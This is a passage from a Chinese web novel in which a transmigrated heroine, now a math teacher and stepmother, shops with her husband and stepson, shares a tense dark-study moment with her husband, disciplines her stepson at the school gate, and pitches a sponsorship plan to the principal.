那些话是她为了气金静随口说的,没想到江明羧当真了,正好她来到这个世界后还没有去过超市,有些好奇里面的东西会不会不同,嘴上却说:“那你得付钱,你儿子想要TC游戏机。” 突然被cue的江许黎:“……” 他很想说自己不要了,因为小时候他买游戏机,他爸便觉得那种东西玩物丧志,未料紧接着就听到江明羧点头:“可以。” “你说的,要适当劳逸结合。” 他抿了抿唇,否定的话咽回肚子,重新放松身子倚到靠背上。 算了,不要白不要。 这一刻,江许黎无师自通了金苒的处世之道。 第25章 第25章金苒几乎要站不住 说是超市,等到了才发现,居然是栋五层的大商场。 和金苒想象中地下一层,两分钟逛完全部区域的画面有些出入。 不过,更兴奋了! 上辈子的金苒便经常逛超市,她喜欢这种充满烟火气的气氛,走在一排排货架中间,周围被油盐酱醋包围着,耳边是喇叭里的促销清单。 来这里的,有下班的打工人,购买食材的家庭主妇,还有撒娇买零食的孩子,人生百态,皆可窥探。 每到这个时候,金苒都会产生一种人生何其渺小的感觉,于是再多的疲惫和烦恼,通通化作炊烟消失殆尽。 但一家三口一起逛超市,还是人生第一次体验。 一进门,她便直奔放购物车的地方。 甭管买不买东西,车子是必须推的,这更像是一种仪式感,仿佛有了购物车,才算真正融入烟火气。 不过因为她今天穿的是裙子,不太方便推车,便转而询问江明羧:“可以帮我推一下吗?” 后者点了点头,顺手接过去。 目睹这一切的江许黎神色有些复杂。 他做梦也没有想象到,有朝一日他会和他爸来逛超市,哦,还有一个名义上是他后妈的女人。 嘈杂的人声不绝于耳,鼻腔里充斥着蔬菜和水果的味道。 而记忆中那个永远忙于工作的父亲,此刻正推着购物车,步履从容走在货架间,就像他小时候无数次幻想过的那样。 江许黎不自觉屏住手脚,仿佛一动,眼前梦境就会破碎,这时候,走在前面的金苒突然回头喊道,“快点啊,我们先去给你买游戏机!” 梦倏然破碎,画面却仍旧存在,江许黎眨了下干涩的眼,回过神,脚步已经不由自主跟了上去。 …… 下午六点,正值晚高峰,超市里的人来人往。 金苒小心“领着”两人穿行其中,其实程管家每天都会采购,所以别墅里什么东西都不缺,她先去了饮料区,选了几样自己爱喝的水果味牛奶。 然后转头询问一声不吭的两人:“你们要喝点什么?” 江明羧拒绝了,江许黎顿了顿,伸手拿了几瓶碳酸饮料。 嗯,不拿白不拿。 之后三人又转战零食区,这个薯片拿一点,那个巧克力拿一点,眼见着购物车慢慢填高,江明羧不得不出声制止:“王厨不会让你们吃太多。” 金苒很是遗憾地停下手。 她也知道,别墅那位厨艺精湛的王厨师什么都好,就是有个特别的习惯——见不得别人吃垃圾食品,虽然不会直接制止,但总是用幽怨的眼神盯着你,直到你主动放弃。 金苒有幸体验过一次,至今心有余悸。放在以前她万万不会放纵,只是太久没有逛超市,一时激动有点儿控制不住。 这会儿回过神,再看购物车里的零食,后知后觉感到有些过分,尤其这里面大部分都是她和江许黎爱吃的,负责花钱的江明羧反而什么都没拿。 金苒顿了顿,以前没有注意,现在回忆起来,她在家里也从没见过这个男人吃零食。 江明羧的生活简单规律,公司别墅两点一线,似乎永远围绕着工作运转,沉稳克制得近乎不近人情。 可金苒却想起前几天的柠檬饼干,心想,或许只是碍于身份不好意思吃。 试想,一个一米八八的成熟霸总,前一秒在几十人的会议上严肃发言,下一秒捏起可爱的小熊饼干往嘴里送——画面足以惊掉所有人的下巴。 迟来的良心让金苒有些过意不去,所以在江明羧借故去打电话时,她对进来后便四处张望的江许黎道:“我们去买点饼干模具吧。” 江许黎:“?” “难道你不想吃甜甜酥酥的小饼干?” 脑海中浮现饼干的味道,江许黎哼了声:“也没有特别想吃。” 金苒才不管他的忸怩作态,继续循循善诱:“王厨做的饼干很好吃,就是形状有点普通,如果做点儿小熊饼干,兔子饼干,还有花朵猫咪,到时候让你爸拿去公司……” “咳,我突然又想吃了。” 江许黎咳嗽着改口,正儿八经的模样里是对老父亲的满怀爱意。 没什么,单纯报答他爸的游戏机。 见状,金苒再也忍不住,噗嗤笑出声。 / 甜品区在超市的三楼,大概受众多为女性和孩子,刚上楼,江许黎就注意到有不少带着小朋友的家长。 其中一个特别引人注目——八九岁的小男孩长得虎头虎脑,竟然被家长放在了购物车里,只见他胖嘟嘟的身体在推车里左右摇晃,但因为两条小腿卡在缝隙里,半点不耽误他舔着手中棒棒糖。 江许黎第一次见这么大的孩子还坐在购物车里,不由得多看了几眼。 金苒顺着他的视线望去,笑着打趣:“怎么,你也想坐?我倒是可以勉为其难推一推,不过超市的推车恐怕装不下你这个体格.……” 江许黎收回目光,轻飘飘地瞥了她一眼:“幼稚。” 既说这种行为,又在说金苒开的玩笑。 金苒挑眉,意味深长道:“幼稚吗?也不知道是谁背后夸我长得好看,声音好听,还说我比金静强了十万八千里~” 闻言,江许黎耳根“腾”地烧了起来,像极了被踩到尾巴的小三花。 他张了张嘴想要反驳,却罕见地卡了壳,因为那些话的确是他说的,最后只能憋出一句:“你少自作多情,我可没承认你的身份。” 金苒毫不在意:“哎呀,放心好啦,学校里我们只是老师和学生,这一点我分得很清楚呢。” 江许黎又是一噎。 他并不是这个意思,尽管当时是为了反驳金静,可那些话却非全部假话。 他准备解释,女人已经转身去挑选模具,这让他仿佛一拳打到棉花上,最终只能闭上嘴巴。 / 超市的另一端。 魏雅满身疲惫地走进来。 得知弟弟在学校里被人欺负时,她刚被临时通知换人,本想据理力争,却无意间撞见导演谄媚地对着那个男人点头哈腰。 那一刻,魏雅如坠冰窖。 她不明白这些富家公子为什么要盯着自己耍弄,难道就因为她是穷人?还是因为她拒绝了那些无理的要求?可她不过是想多打几份工,养活自己和弟弟罢了。 等到了学校,看到弟弟被打到发青的眼角,她拼命告诉自己没事的,人要往前看,可实际上 眼前的路只会越走越黑,仿佛永远都看不到尽头的光亮。 魏雅感觉好累好累。 尽管如此,为了给弟弟压惊,练完舞蹈后的魏雅还是拖着疲惫的身体来超市买甜点材料。 金苒和江许黎长得太出众了,江许黎虽然今年才高一,但身高已经超过一米八,在一群小孩子中间,他这个大孩子显得尤为“鹤立鸡群”。 魏雅一眼就看到了他们。 再听二人的聊天,想起小时候弟弟的自闭症还没有现在严重,他们姐弟也曾一起打打闹闹,有些殷羡道:“你和你弟弟关系真好。” 金苒正挑选饼干模具,听到耳边有人说话,转过头后顿时眼前一亮。 好有气质的美女呀! 或许是小说世界,自从穿到书中,金苒见过不少容貌出众的人。 比如江家的父子俩,容貌英俊出众,比如原身,也是一枚美丽佳人,眼前女孩或许不是最漂亮的,但却有一份独特的气质。 金苒忍不住夸赞:“你长得真好看。” 魏雅微微一愣。 随即便是脸颊爆红,她第一次受到这般直白的夸奖,娱乐圈里最不缺的就是美女帅哥,而她在其中并不出众,甚至多次被导演嫌弃模样寡淡,丢在人群中毫无存在感。 她摇摇头,小声道:“你长得才是真好看。” 要不是金苒一开始就没有戴口罩,且一副大大方方的样子,魏雅还以为对方也是圈里的人。 金苒笑起来,没有人不喜欢被夸赞,尤其被美女夸赞:“我也觉得我好看。” 审美本就是很私人的事,她长得属于带点儿小性感的甜妹,大大的杏眼,五官精致小巧,笑起来就更显甜美可人,以至对她不熟悉的人,总会认为她单纯无害。 直到他们开始试图越界,然后被她狠狠反击,才意识到甜妹也带着刺。 但金苒个人的审美却更偏向于那种纤薄清冷的长相。 细长的眼眸,弯弯的柳叶眉,哪怕只点一抹朱红,都仿佛藏着说不尽的故事。那样的气质,就像从古画里走出来的仕女,带着几分疏离的美感。 “真的,你相信我,”金苒看出魏雅的落寞,她不知道发生了什么,但这样漂亮的女孩子就应该天天开心,“你本身非常有古风味道,书卷气十足,现在网上出名几个网红都是古典美人,我觉得你比她们还要漂亮,而且你四肢纤细,跳古典舞肯定好看!” 魏雅脸色越来越红,后面听到舞蹈后,倒是露出若有所思的表情。 她们公司教的是流行舞,她身材偏瘦,四肢纤长,跳起舞来像竹节虫似的很别扭,而且魏雅对自己的容貌并不自信,投简历时只往现代剧组投,还没有尝试过古装。 或许,她真的可以改变一下努力的方向…… 金苒丝毫不知道自己短短几句话,就改变原书女主未来的发展方向。 直到江明羧打完电话回来,她还在感慨:“你不知道,长得特别好看,87版红楼梦看过吗,我还以为是林黛玉站到了我面前呢。” 江明羧看向口若悬河的金苒。 她眉梢眼角都带着笑,唇边浅浅笑窝若隐若现,好似把所有的阳光都盛进去:“是吗?” 他表情镇定。 “当然了,”金苒不满他的质疑,“不信你问小黎?” 两道视线同时落到自己身上,江许黎头皮一紧,实在不明白为什么这种事情都能引起女人的兴趣。 最后低声嘟囔了一句:“有什么好看的,还不如你呢。” 说罢带着少年人倔强的自尊,头也不回地往超市外走。 嗯,手里没忘提着他那五大包零食。 不要白不要。 / 虽然只是一次稀松平常的相遇,但魏雅这件事情,却给了金苒一个启发。 自从试讲过一次课程,金苒便发现了这种方式的好处,遇到第二天有重大知识点的,她会提前一日在家练习,不过没有再拉壮丁,而是直接用相机记录下来。 眼下,她正好把那些视频翻出来,挑了几个不错的,稍微剪辑并给自己打码,然后上传到了网上。 账号id简单易懂——【猫咪的数学课堂】 传完之后,她没有继续关注,而是合上电脑起身去浴室洗漱。 刚到家的时候金苒就提前放了一浴缸的水,滴上精油,撒上佣人从花园里摘的花瓣,这会儿用脚尖试探了下,温度正正好。 赤脚踏进去,水面缓缓没过小腿、膝盖、腰肢……她舒服地喟叹一声,热汽氤氲间,身体的疲惫逐渐松弛。 从浴室出来,金苒身上已经换成了睡衣。 绸缎的面料光滑舒适,贴在身上冰冰凉凉,缓解了夏日的炎热,就是领口有些低,行动间露出深深的事业线。 之后是重复的日常护肤,等一切结束,金苒整个人像从花丛中滚过一圈,香喷喷的。她躺到床上,准备例行睡前看半小时时政解析,结果发现那本资料书被她拿到了书房。 金苒:“……” 现在放在她面前的有两种选择。 一,爬起来过去拿,可能会面临遇到江明羧的风险。 二,放弃刷资料,躺平玩手机,劳累一天的人可以拥有短暂的放松。 金苒只犹豫了两秒,果断掀开被子下床。 躺平自然舒服,但对她这种J人来说,计划打破更加令人抓狂,何况手机什么时候都能玩,事业编考试却不等人。 应考就应该有应考的自觉! 好在从卧室出来后,她发现书房已经关灯,这让金苒松了口气,也就没有回去换衣服,而是直接穿着睡衣推门进去。 …… 书房里,头顶吊灯坏掉的那一刻,江明羧还有些懵。 夜晚笼着阴影,昏暗的月光中,只有窗外虫鸣窸窣不停。 他捏了捏眉头,放下手中的钢笔准备联系管家,正在这个时候,书房的门打开了…… 金苒拍了几下开关,疑惑怎么没有光亮,懒得回去拿手机,干脆摸黑走到自己的书桌附近。 她记得那本资料书好像就在桌子的左侧,因为当时放下后她就去接水喝了,果不其然,金苒很快就在水杯旁边找到了那本书,拿到手中准备出去,余光忽然瞥见了一个黑影。 毫不夸张,一瞬间,金苒浑身的鸡皮疙瘩都起来了。 她猛地后退,膝盖却不知碰到了哪里,传来锥心的疼痛,她双腿一弯,眼看着就要摔倒。 一只有力的手臂突然环过腰身,稳稳地将她托住。 木质调的清冽气息扑面而来,如暴风雪携裹着冬日雪松,金苒下意识抓着对方的衣服,衬衫在手中蹂.躏成皱。 属于男性的荷尔蒙强势.插.入,男人胸膛像堵烧烫的墙,隔着单薄的衣物,沉稳的心跳一下一下撞击着耳膜。 “当心。” 他低声安抚。 黑暗中,金苒听得耳朵发麻。 从没有那一刻,让她觉得男人的声音也会如此性.感。 低沉的嗓音从头顶压下,带动胸腔微微震动,视觉受限,其他感官便无限放大。 那根扣住她后腰的胳膊结实如铁,遒起的肌肉硌着娇嫩腰肉,手掌宽大有力,掌心似有粗粝薄茧,透过衣料重重烙在皮肤上。 金苒几乎要站不住了。 她抬起头,对上一双幽深的眼眸。 像野兽般阴狠决绝,四目相对之刻,黑暗猛然淬了火,烫得身体和空气逐渐升温。 她一顿,却没有移开目光。 第26章 第26章没穿校服,扣一分…… 两人谁也没有开口。 夜色更深了,书房笼罩一层灰暗,呼入口中的空气变得稀薄。 被这样一双眼睛注视着,金苒有一瞬间的心醉。 不可否认,江明羧的确很有吸引力,和刚刚步入青春期的江许黎不同,前者青涩,单纯,看似桀骜,实则丁是丁卯是卯,金苒可以轻易看透他的喜怒。 江明羧却完全相反,他经历过太多,复杂的少年经历,传奇般的青年创业,以及人过而立,过往的戾气和铁锈逐渐被时光 打磨,成为更深层的浓稠。 他无疑是强大威严的,但又不止成熟,偶尔,金苒还能从中瞥见被压住的翻滚的肆意。 一种天然塑造的极致矛盾体,充满了神秘色彩。 好几次,她都想要去破解秘密,但最后,那种出于生物对危险的本能,让她及时止步。 几乎拉丝的视线,在静谧的夜,成年男女独处一室,用来调色的灯光被黑暗吞噬,呼吸瞬间放大,身体不可避免地贴在一起,香气,触感、热量,迥然不同又抵死纠缠。 这样美好的氛围,这样亲密的姿态,放在小说中大概是要发生一些什么不好描述的事情。 金苒却忽然僵在原地。 倒不是她定力强大,抵住了男色的诱惑,而是她想起一件事。 自己洗完澡后便躺到了床上,所以现在身上穿的是睡衣。 单薄的衣料磨擦着衬衫,在干燥的夏日点起细小的火苗,稍有不慎,便是燎原大火。 金苒脸色紧绷,一时间,什么遐想也没有了,只恨不得赶快离开这是非之地。 究其原因,她可以主动撩男人,可以用无辜的眼神拉扯几十个来回,但是绝对不可以以这样一种丢脸的方式! 金苒下意思往后退,察觉到什么,江明羧动作顿住,随即面不改色将人扶起来。 两人顺势拉开一段距离。 凝结的空气重新流淌,黑暗中,江明羧的声音恢复平静:“灯坏了,时间有点晚,就没有让管家他们过来。” 金苒便也装作若无其事的样子:“怪不得呢,我还纳闷为什么打不开灯,原来是坏了。”她晃了晃手里的书,也不管对方看不看得清,便给自己半夜来书房的行为正名,“我是来拿这个的,没想到这么晚你还在工作,差点儿以为是小偷。” “抱歉,有些突发事情需要处理。” 金苒了然,养病期间江明羧的电话就没有断过,且不分时间地点,着实属于大忙人。 相比起来她这个每天最多两节课,剩下时间都窝在办公室刷题的代课老师,就轻松多了。 “既然这样,那我就不打扰你啦,不过书房的灯坏掉,可能得去其他地方。” 金苒微笑着辞别,这次,她说完后等了好久,才听到对面“嗯”了一声。 放在往常,她可能会猜测江明羧的想法,但此刻她只觉胸前的衣料发凉,生怕多待一秒就会走光,抱着书本头也不回离开书房。 直到传来关门的声音,站在原地的江明羧才动了动。 他伸手抚平衬衫上的褶皱,不知是被抓的太紧还是什么,效果甚微,指尖擦过衣料时,似乎还残留着方才的温度。 察觉到此,他停下动作,眸色仿佛望不见底的深渊。 金苒回到卧室后,拿起遥控器将温度调至最低。 冷风迎面扑来,瞬间吹散了身上黏腻的汗意。 好半晌,两边脸颊的热度才降下来,她一边托着腮,一边回顾刚才的表现,最后确认对方应该没有看到什么不该看的。 至于那些能看到的……金苒并不在意,难道她身材好还有错了? 自信昂首挺胸,睡觉前,金苒照旧背了半小时时政资料,人一背书就发困,于是这一晚她睡了一个好觉。 自是不知道,别墅里其他人又是怎么渡过的。 江许黎拿到新游戏机,没忍住玩了一会儿,等回过神,时间已经过了十点钟。 明天还得上学,而且没记错的话,明天第一节课是数学课。 江许黎明明才十五岁,这一刻却变得老气横秋,特别想叹气。 其实江许黎并不是沉迷游戏,大部分游戏在他看来都很简单,哪怕一开始不熟悉,只要玩一会儿就基本掌握。 更多时候是觉得无聊,打发时间。 他放下手中的游戏机,准备关灯睡觉,忽然听到楼下“哐当”一声巨响,随即是女人短促的惊呼。 ——出事了? 江许黎吓了一跳,想都没想就开门跑下楼。 等他气喘吁吁从三楼跑到二楼,再跑到书房门口,然后就看到了书房里面抱在一起的两个人。 准确来说,是他爸将他后妈整个人圈在怀中,高大的身影几乎将人全部笼罩,只露出一点点柔软的衣摆。 江许黎浑身僵硬,那一刻,医学在他身上发生了奇迹,只见他停下的脚步硬生生扭转了一百八十度,用比下楼还要快十倍的速度,火速逃离现场。 脑海中适景地飘荡起一首歌:他不应该在车里,应该在车底! 屋漏偏逢连夜雨,因为跑得太急,进门的时候,江许黎一脚踢翻了喝到一半的碳酸饮料,里面的饮料全部撒到了校服上。 江许黎:“……” 他怎么这么惨啊! 第二日,江许黎把校服丢到洗衣机,等着佣人拿去清洗,自己只能先穿了一件衣柜里的衣服。 其他人也陆陆续续起床,上班的上班,上学的上学。 金苒没有忘记今天是她值周的日子。 文承中学的值周制度由来已久,不仅是学生会成员参与,每天还会有一位值班老师共同监督。 而早上的这段时间,主要负责在学校门口检查学生的仪容仪表和迟到情况。 所以她用比平常更快的速度吃完早饭:“我今天得早点去学校,等会儿先走一步了。” 江明羧放下筷子:“一起吧。” 只剩下江许黎。 少年立刻表态:“我自己走!” 虽然不能逃课,但他坚决不要早到一分钟! 金苒打量了几眼变成熊猫的少年,有些疑惑,黑眼圈这么重,不知道的还以为他晚上放牛去了。 她对继子的睡眠毫无掌控欲。 但对方熬完夜后,万一在她的课堂上睡觉怎么办? 即便不睡觉,熬夜也会影响注意力,阻碍大脑发育,继而影响到她的“搭档”学习法。 这是金苒绝不能忍的。 于是打定主意,抽空要和少年谈谈人生。 ——人生没什么大不了的,有什么心事,说出来就好了! 车子从别墅驶离。 硕果湾的物业最近在搞绿化,道路两边移栽了许多垂柳,金苒坐在副驾驶,望着一片片养眼的绿色出神,突然听到江明羧说:“明天是你爷爷的寿辰,我大概晚上才有空,贺礼已经让程管家准备好了,或者你还有什么想拿的,也可以说。” 说实话,如果不是金静提醒,她真不记得原身爷爷的生日,摇了摇头:“我没什么想拿的,都听你的吧。” 江明羧颔首:“今天晚上会有造型师过来,下班后早点回来。” 金苒一愣:“什么造型师?” 江明羧看了她一眼,似乎不理解她的疑问:“你爷爷八十岁整寿,届时大概会有很多人到场,你作为他的孙女,宴会的穿着打扮不能太普通。” 何况这是他们结婚后第一次出现在众人面前,势必会引起不少关注。 听到他的话,金苒后知后觉意识到一个问题。 这也是她先入为主了,在她想象中,原身是个落魄的大小姐,破产的金家不说住在贫民窟,也该捉襟见肘。 可现在看来,人家破产是破产了,但生日宴照样举办,甚至还有很多人捧场。 一时间,金苒觉得世界可真魔幻现实主义。 不过很快,她又想到了某种可能。 金家虽然没落,人脉底蕴尚在,邀请的宾客想必非富即贵,根本不是她一个普通中学教师能够接触到的,更不是文承中学那些老师可以轻易搭上的角色。 校长最近正因为企业撤资焦头烂额,如果她能借着这次机会,在寿宴上牵线搭桥,帮学校拉到新的资金…… 金苒越想越激动,眼底闪过一丝精光。 ——等到下次推选教导主任时,校长自然会记得这份人情! “好,我都听你的。” 金苒非常乖巧地点头,眉眼笑得弯弯如月,明媚的笑意洒进阳光里,捧起了一抹夏色。 江明羧定定看了会儿,片刻后移开目光。 衬衫领口蹭过喉结,痒意激得忍不住滑动了下。 / 学校门 口,江许黎刹停摩托车,长腿一迈下地。 陈训良今天把他那辆改装摩托给开了出来。 不过看到江许黎的IconSheene,还是忍不住殷羡:“黎哥,什么时候把小红借我开一把过过瘾啊。” 江许黎直接把钥匙扔过去:“随便开。” 可把陈训良惊喜坏了,其他小弟见状也纷纷开口求开,江许黎居然都答应了! 这下,小弟们终于发现江许黎今天似乎心情不错,不,是非常不错! 后者随意道:“没什么,昨天晚上玩fly玩得开心。” “靠!那不是TC的最新游戏机才带的游戏吗?!黎哥你买游戏机了?得八千多吧!” 江许黎勾了勾嘴角,用漫不经心的语气说:“家里买的,我也不知道多少钱。” 小弟们不知道江许黎家里具体情况,闻言都羡慕起他有个善解人意的父母,只有陈训良奇怪地挠了挠头。 感觉黎哥怪怪的。 就好像,故意说给他们听似的。 但转而想到,连黎哥后妈都给他买游戏机,自己亲妈反而把压岁钱给拿走,他也有点儿想要后妈了怎么回事? 一群少年浩浩荡荡走进学校。 “这位同学,请站住一下。” 在他们踏进校门的时候,站在角落里的一位年轻漂亮的老师喊住了几人。 视线移过去,看到金苒的瞬间,江许黎有些紧张。 她把自己叫住是想做什么? 虽然这段时间他们相处的还算可以,但在学校里,他觉得还是保持距离为好。 可他如果直接说出来,她会不会生气? 正在江许黎纠结之际,金苒走到了他的面前。 拿出一个小本本,公事公办询问:“这位同学你是几年级几班的?” “什么?”他一愣。 金苒眼睛已经瞥向胸口的胸牌,自问自答:“高一三班,江许黎,”她手快速在本子上记录着,而后宣判道,“没穿校服,违反学校纪律,扣一分学分!” 清亮的女声掷地有声,闻言,身后的小弟们突然集体噤声。 一只知了在树上撕心裂肺地叫起来,树影婆娑,斑驳光点洒落在江许黎肩膀。 而少年的耳尖,却以肉眼可见的速度变红。 第27章 第27章“江明羧太太”的标签…… 学校论坛,一大早就热火朝天。 【那个,你们听说那件事情了吗?】 【真的假的?居然还有人敢拦那位?不要命啦?】 【瑟瑟发抖,六班几个打架的学生都陆续转学了,只能说,这次的仁兄自求多福吧!】 【等等!什么那位哪位,你们到底在打什么谜语啊?能来个好心人解答吗?】 【楼上一看就是学弟学妹,那位都不知道,明技科技知道吗,明技科技的公子哥在我们学校上学,你搜关键词JXL,会看到少爷以前“脚踢”同学老师的光辉事迹。】 【???】 【虽然知道我们学校富二代多,没想到这么多,不是,少爷怎么不出国啊?】 没人回答他的酸言酸语。 大家明显对早晨的事情更感兴趣:【保真,因为我当时就在现场,JXL带着他那群小弟走进学校时,那拉风的场面,学生会都得退避三尺,JXL大概也是知道这一点,所以才敢明目张胆不穿校服。本来学生会已经准备装作没看见把人放走,结果没想到突然冒出来一个女老师把人拦住了,毫不夸张,JXL的脸瞬间就黑了,我当时快吓死了,那女老师看着很年轻,JXL要是一拳头过去说不定会把人打哭。结果你们猜怎么着?她一点也不怵,直接拿出纪律本给JXL扣了分。】 【原来是年轻老师啊,不奇怪了】 【完了完了,JXL不会真的打女老师吧?】 【肯定啊,说不定那女老师现在已经去医院了】 【这个……倒是没有,女老师扣完分后,顺手塞给JXL一把扫帚,让他去打扫学校门口的落叶】 【?】 【???】 【于是JXL真的去扫了】 【…………】 / 江许黎扫完落叶回到班里。 进门时候,座位上的同学不约而同抬头看他,他不由得拧紧眉头,那些人又装作不在意的样子,移开目光。 王舒雅回过头,隔着好几个位置打探消息:“江许黎,金老师叫你干什么啊?” 自从上次发现金苒给了江许黎一套数学卷子,王舒雅就一直耿耿于怀,她强势把卷子拿去复印了一份,最后用了五天时间也没有做完。 太难了。 但她不认为是自己能力问题,那些题目的难度远超过高一阶段,她反而觉得是江许黎在偷偷努力,自那以后,她就开始盯着江许黎,虽然以前也盯,但现在盯的更厉害了,这会儿听到某些事情,她目光不由得带上怀疑:“你什么时候和金老师这么熟悉了?” 江许黎皱眉:“谁说的?” 王舒雅看了他一眼,语气莫名酸酸的:“要不然金老师为什么不抓别人只抓你啊。” 江许黎:“???” 听听这是人话吗? 这福气给你要不要! 江许黎直接气笑了,鼻腔里溢出一声冷哼,他算是发现了,那女人身上有妖术,只要接触她的人就会被迷得神魂颠倒。 就连他,都险些被骗了。 想到自己今天早上的遭遇,江许黎牙根又开始痒痒。 却不知道,王舒雅是真的想要。 她是三班的纪律委员,对于纪律问题尽职尽责,下课之后,她就跑去办公室找金苒。 “金老师,下次你值周的时候,我帮你一起吧。” 金苒记得这位总是跟在江许黎身后的小姑娘。 少年人总以为自己的掩藏天衣无缝,殊不知,他们的心思在成年人眼中,像透明玻璃一样一览无余。第一次见面,金苒就看出小姑娘喜欢江许黎,刻意的偶遇,闪躲的眼神,都是青春最直白的风景。 这让她想起自己看过一个段子:小时候总疑惑为什么作弊被发现,后来当了老师,才发现老师还是对我留情了。 配图,考试中坐得笔直,眼珠子却滴溜溜转的小学生。 王舒雅在她眼中就和段子中的小学生没有什么区别。 不过相处过后,她还是挺喜欢这个小姑娘的。 不为别的,单纯因为每次数学课对方都特别积极,有时候她自己都有些累,结果往讲台下面一看,就能对上王舒雅那双求知若渴的眼睛。 课后,别人都在聊天玩手机,她还会拿着满满的笔记本追着自己问问题。 试问哪个老师不喜欢勤奋的学生? 只有一点不太好。 “金老师你不要怪江许黎,他肯定不是故意不穿校服的,我听别人说,他爸爸刚结婚,可能顾不上他。” 金苒:“……” 来了来了,她说的不好的事情就是这个。 她这位好学生,不知道从哪听了什么小道消息,总是当着她的面,为江许黎抱不平。 金苒无奈地捏了捏鼻梁:“王舒雅,这是别人家的事情,而且你都没有见过那位……后妈,背后议论别人是一种不礼貌的行为。” 王舒雅一时没忍住说多了,闻言也反应过来,立刻道歉:“对不起,金老师。” “再说,你怎么断定她数学不好,万一是隐藏的数学高手呢。” 刚刚还在认错的王舒雅立刻反驳:“不可能,金老师才是最厉害的!” 金苒:“……” 一时间,好笑又好气。 气的是未成年心智不坚定,听风就是雨。 笑的是哪怕这种情况下,对 方对自己数学课也高度认可。 她能怎么办?总不能告诉对方,两个人都是她吧! 金苒觉得这样下去不好。 于是在王舒雅还要说什么的时候,她神色一肃,语气认真地教育:“如果你真的想了解一个人,应该亲自去接触、去交流,而不是道听途说,更不应该在根本不了解的情况下,轻易下定论。” “关心同学是好事。” 看到王舒雅满脸羞红,金苒语气也稍缓,“但前提是,你的关心是善意的,而不是建立在偏见上。” …… 当知心大姐姐可不是一件容易的事情,等王舒雅若有所思地离开办公室,其他老师看到金苒一脸生无可恋的趴到桌子上,笑呵呵安慰。 “这才哪到哪,咱们当老师的就是这个样子,这还算好的,那些班主任和主任才更忙呢。” “可不么,看看陈老师,人到中年头发秃了一半,这样下去再过几年直接出家当和尚。” “还有教导主任,不仅抓成绩,关心学生心理健康,还需要管理教师团队,处理学校行政,一个人掰成两个使。” “我听说校长最近开始物色人选了?”一位老师开始分享小道消息,“估计是高三那几个老教师吧。” 闻言,金苒“蹭”的从桌子上爬起来。 “已经确定了吗?” 她迫不及待地问。 其他老师见金苒精神抖擞的样子,先是愣了愣,随后忍不住感慨年轻人的恢复力就是好:“还没有,大概校长有考量吧。” “可能会竞争上岗,综合考评。” 这时候,隔壁的鹿老师突然开口。 鹿老师是校长的外甥,平日里不爱说话,然而只要一开口就属于王炸。 大家都觉得他是从校长那里得到了风声,金苒也这样想的,眼睛瞬间亮起来——作为年轻教师,年龄和资历是她不可避免的“短板”,且短期间无法改变,除非她愿意在学校熬过几十年,等到四五十岁再去当教导主任。 但金苒等不了那么久。 否则她在应聘的时候,就不会主动亮出自己的身份。 虽然在某些人眼里,这种做法有失公允,但她并不觉得什么不妥。 首先,她确实是凭实力应聘成功的,名校毕业,试讲表现在同批面试者中属于优异,只要文承中学不是脑子突然被驴踢,都会让她通过。 其次,职场本就存在各种潜规则,譬如,同等条件下男性往往比女性更容易被聘用,已婚已育的女性比未婚未婚更容易受到青睐。 金苒同样厌恶这些潜规则,但在无力改变现状时,她选择抓住每一个机会。 竞争者能力相当时,额外的“优势”往往能成为决胜关键,所以金苒对自己的定位很清晰:一个拥有额外优势的职场人。 她的教学经验比不上资深教师,专业水平未必胜过优秀同事,但她身上有一点,是其他老师没有的优势。 想到什么,金苒拿出纸笔,将这段时间自己脑子中的东西整理下来。 这些内容早已在她脑海中盘旋多时,此刻倾泻而出格外顺畅,不到半小时,一份内容详实的文承中学推介方案便已完成。 下课铃刚响,她就拿着表格直奔校长办公室。 文承中学的校长五十多岁,身宽体胖,看着很是宽和,但最近发生的一系列事情让他愁眉苦脸,见到金苒进来,才勉强打起精神,笑呵呵道:“金老师过来了。” 学校里知道金苒身份的人不多,校长是其中之一。 不过对方的入职并非破例,他知道这件事情的时候,面试的录用名单已经确定,金苒俨然在其中。 一开始,他还以为这位出身豪门的江夫人会不适应,亦或者对方进学校,只是为了照顾好继子。 没想到女人入职后,既没摆架子也没搞特殊,反而比许多资深教师更勤勉,时间久了,校长便不再特别关注她了。 “金老师在学校还适应吗?有什么需要帮忙的尽管说,咱们学校还是很重视老师感受的。” 看在江总的份上,只要不是太麻烦的事,校长多少会帮她一把。 金苒不知道校长的想法,不过也能猜到一二。 在证明自己能力之前,她在别人眼里,终究还是贴着“江明羧太太”的标签。 好在她并不在意,甚至主动扯虎皮拉大旗,笑着和校长道了谢,话音一转又唠起家常,她语气担忧:“我听其他老师说,这几年A市新建了不少学校,特别是中学,但上面的教育资源就那么多,咱们文承分到的份额越来越少了。” “可不是嘛。”校长被牵起伤心事,忍不住叹了口气,“本来计划今年建体育场和实验室,让咱们学生有更好的学习环境,结果临到开工出了岔子。” 金苒嘴角翘了翘,露出一抹恰当得体微笑:“虽然我只是代课老师,但真的很喜欢文承中学。校长的规划很有远见,这么好的项目,应该让更多人知道才是。” 闻言,本来不以为意的校长眸光微动,不由得坐直身子。 他之所以愁,就是因为之前的老总撤资后,学校找不到新的投资捐赠人,事情被迫搁置。 想到眼前女人的身份,校长试探着说:“酒香还怕巷子深,咱们学校在东区算是好的,但跟那些私立名校还是没法比。” 金苒:“这一点我也想过,不过我觉得咱们学校还是有些优势的。” 直到这个时候,她才终于把自己做的方案递给校长,意有所指地笑了笑:“而且校长也知道,我家那位旁的不说,在圈子里倒还认识些朋友。” …… 从校长室出来的金苒,不仅拿到了一天的休假机会,还得到了校长的额外承诺。 如果她能帮学校拉到赞助,就让她参与后续项目的管理。 名义上只是打杂,但对普通教师而言意义非凡。毕竟大部分教师只需负责教学,而她已迈出了涉足学校行政的第一步。 傍晚,夕阳的余晖透过落地窗,洒进江家别墅的衣帽间。 一支六人组成的专业造型团队有条不紊地忙碌着,造型师Freya拿着两件礼服,询问坐在沙发上看书的女人。 “太太,这两件您更喜欢哪一件?” 金苒回过神。 上次被这么多人服务,还是在某底捞的时候,朋友偷偷帮她过生日,一群人围着社死的她高唱生日快乐歌。 眼下员工换成了造型师、化妆师,他们态度真诚地询问她的想法,然后围着她转来转去,势必要让她展现最完美的一面。 金苒不由感慨豪门生活的奢华,吃的好住得好就算了,连穿衣打扮都有人代劳。 此刻,她看了一眼Freya手中的两件礼服,一件暗红色吊带裙,一件银色亮片鱼尾裙。 然后毫不迟疑选择了银色那件。 金老爷子八十寿辰,她只是去走个过场的假孙女,实在没有必要打扮得太惹人注目。 可没想到,当她去衣帽间换下礼服,才发现银色比红色还要张扬! 